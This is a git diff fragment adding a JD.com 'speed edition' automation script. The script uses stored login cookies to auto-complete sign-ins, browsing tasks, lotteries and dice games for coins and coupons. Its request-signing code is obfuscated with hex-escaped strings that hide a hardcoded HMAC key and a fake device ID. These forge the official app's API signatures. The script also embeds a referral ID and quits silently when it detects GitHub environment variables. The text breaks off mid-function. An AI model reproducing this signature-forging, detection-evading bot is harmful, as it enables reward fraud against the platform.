"https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed_signfaker.js b/jd_speed_signfaker.js new file mode 100644 index 0000000..1f05903 --- /dev/null +++ b/jd_speed_signfaker.js @@ -0,0 +1,803 @@ +/* +京东极速版签到+赚现金任务 +每日9毛左右,满3,10,50可兑换无门槛红包 +⚠️⚠️⚠️一个号需要运行40分钟左右 + +活动时间:长期 +活动入口:京东极速版app-现金签到 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版 +21 3,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "21 3,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js,tag=京东极速版 + +===============Surge================= +京东极速版 = type=cron,cronexp="21 3,8 * * *",wake-system=1,timeout=33600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js + +============小火箭========= +京东极速版 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, cronexpr="21 3,8 * * *", timeout=33600, enable=true +*/ +const $ = new Env('京东极速版'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdGlobal() + await $.wait(2*1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobal() { + try { + await richManIndex() + + await wheelsHome() + await apTaskList() + await wheelsHome() + + // await signInit() + // await sign() + await invite() + await invite2() + $.score = 0 + $.total = 0 + await taskList() + await queryJoy() + // await signInit() + await cash() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function signInit() { + return new Promise(resolve => { + $.get(taskUrl('speedSignInit', { + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "kernelPlatform": "RN", + "inviterId":"U44jAghdpW58FKgfqPdotA==" + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function sign() { + return new Promise(resolve => { + $.get(taskUrl('speedSign', { + "kernelPlatform": "RN", + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "noWaitPrize": "false" + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === 0) { + console.log(`签到获得${data.data.signAmount}现金,共计获得${data.data.cashDrawAmount}`) + } else { + console.log(`签到失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function taskList() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "version": "3.1.0", + "method": "newTaskCenterPage", + "data": {"channel": 1} + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + for (let task of data.data) { + $.taskName = task.taskInfo.mainTitle + if (task.taskInfo.status === 0) { + if (task.taskType >= 1000) { + await doTask(task.taskType) + await $.wait(1000) + } else { + $.canStartNewItem = true + while ($.canStartNewItem) { + if (task.taskType !== 3) { + await queryItem(task.taskType) + } else { + await startItem("", task.taskType) + } + } + } + } else { + console.log(`${task.taskInfo.mainTitle}已完成`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "marketTaskRewardPayment", + "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`${data.data.taskInfo.mainTitle}任务完成成功,预计获得${data.data.reward}金币`) + } else { + console.log(`任务完成失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function queryJoy() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.taskBubbles) + for (let task of data.data.taskBubbles) { + await rewardTask(task.id, task.activeType) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardTask(id, taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "joyTaskReward", + "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + $.score += data.data.reward + console.log(`气泡收取成功,获得${data.data.reward}金币`) + } else { + console.log(`气泡收取失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +async function queryItem(activeType = 1) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "queryNextTask", + "data": {"channel": 1, "activeType": activeType} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + await startItem(data.data.nextResource, activeType) + } else { + console.log(`商品任务开启失败,${data.message}`) + $.canStartNewItem = false + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function startItem(activeId, activeType) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "enterAndLeave", + "data": { + "activeId": activeId, + "clientTime": +new Date(), + "channel": "1", + "messageType": "1", + "activeType": activeType, + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + if (data.data.taskInfo.isTaskLimit === 0) { + let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo + if (activeType !== 3) + videoBrowsing = activeType === 1 ? 5 : 10 + console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) + await $.wait(videoBrowsing * 1000) + await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "") + } else { + console.log(`${$.taskName}任务已达上限`) + $.canStartNewItem = false + } + } else { + $.canStartNewItem = false + console.log(`${$.taskName}任务开启失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "enterAndLeave", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + await rewardItem(uuid, activeType, activeId, videoTimeLength) + } else { + console.log(`${$.taskName}任务结束失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "rewardPayment", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + $.score += data.data.reward + console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) + } else { + console.log(`${$.taskName}任务失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function cash() { + return new Promise(resolve => { + $.get(taskUrl('MyAssetsService.execute', + {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.total = data.data.goldBalance + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 大转盘 +function wheelsHome() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsHome', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`) + while(data.data.lotteryChances--) { + await wheelsLottery() + await $.wait(500) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘 +function wheelsLottery() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsLottery', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data && data.data.rewardType){ + console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`) + message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n` + }else{ + console.log(`幸运大转盘抽奖获得:空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘任务 +function apTaskList() { + return new Promise(resolve => { + $.get(taskGetUrl('apTaskList', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + for(let task of data.data){ + // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4} + if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){ + console.log(`去做任务${task.taskTitle}`) + await apDoTask(task.taskType,task.id,4,task.taskSourceUrl) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘做任务 +function apDoTask(taskType,taskId,channel,itemId) { + // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}) + return new Promise(resolve => { + $.get(taskGetUrl('apDoTask', + {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.finished){ + console.log(`任务完成成功`) + }else{ + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function richManIndex() { + return new Promise(resolve => { + $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.userInfo){ + console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`) + while(data.data.userInfo.randomTimes--){ + await shootRichManDice() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function shootRichManDice() { + return new Promise(resolve => { + $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){ + message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n` + console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`) + }else{ + console.log(`红包大富翁抽奖:获得空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return 